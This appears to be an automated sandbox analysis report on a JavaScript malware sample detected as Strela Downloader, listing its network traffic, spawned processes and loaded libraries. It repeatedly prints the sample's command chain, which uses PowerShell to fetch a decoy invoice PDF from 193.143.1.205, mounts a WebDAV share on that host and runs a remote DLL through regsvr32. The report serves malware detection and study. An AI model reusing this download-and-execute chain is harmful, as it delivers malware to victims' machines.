HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2182942545.00000221F451A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2245725966.000001F5FFF19000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2245725966.000001F5FFEE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2245725966.000001F5FFF3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2245725966.000001F5FFEE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3468031985.00000249762D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2244377005.000002497B800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5048, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 62212369534426657.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5208:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1tpqtw4z.0rz.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,2302667592587128853,16734270129016424044,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,2302667592587128853,16734270129016424044,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
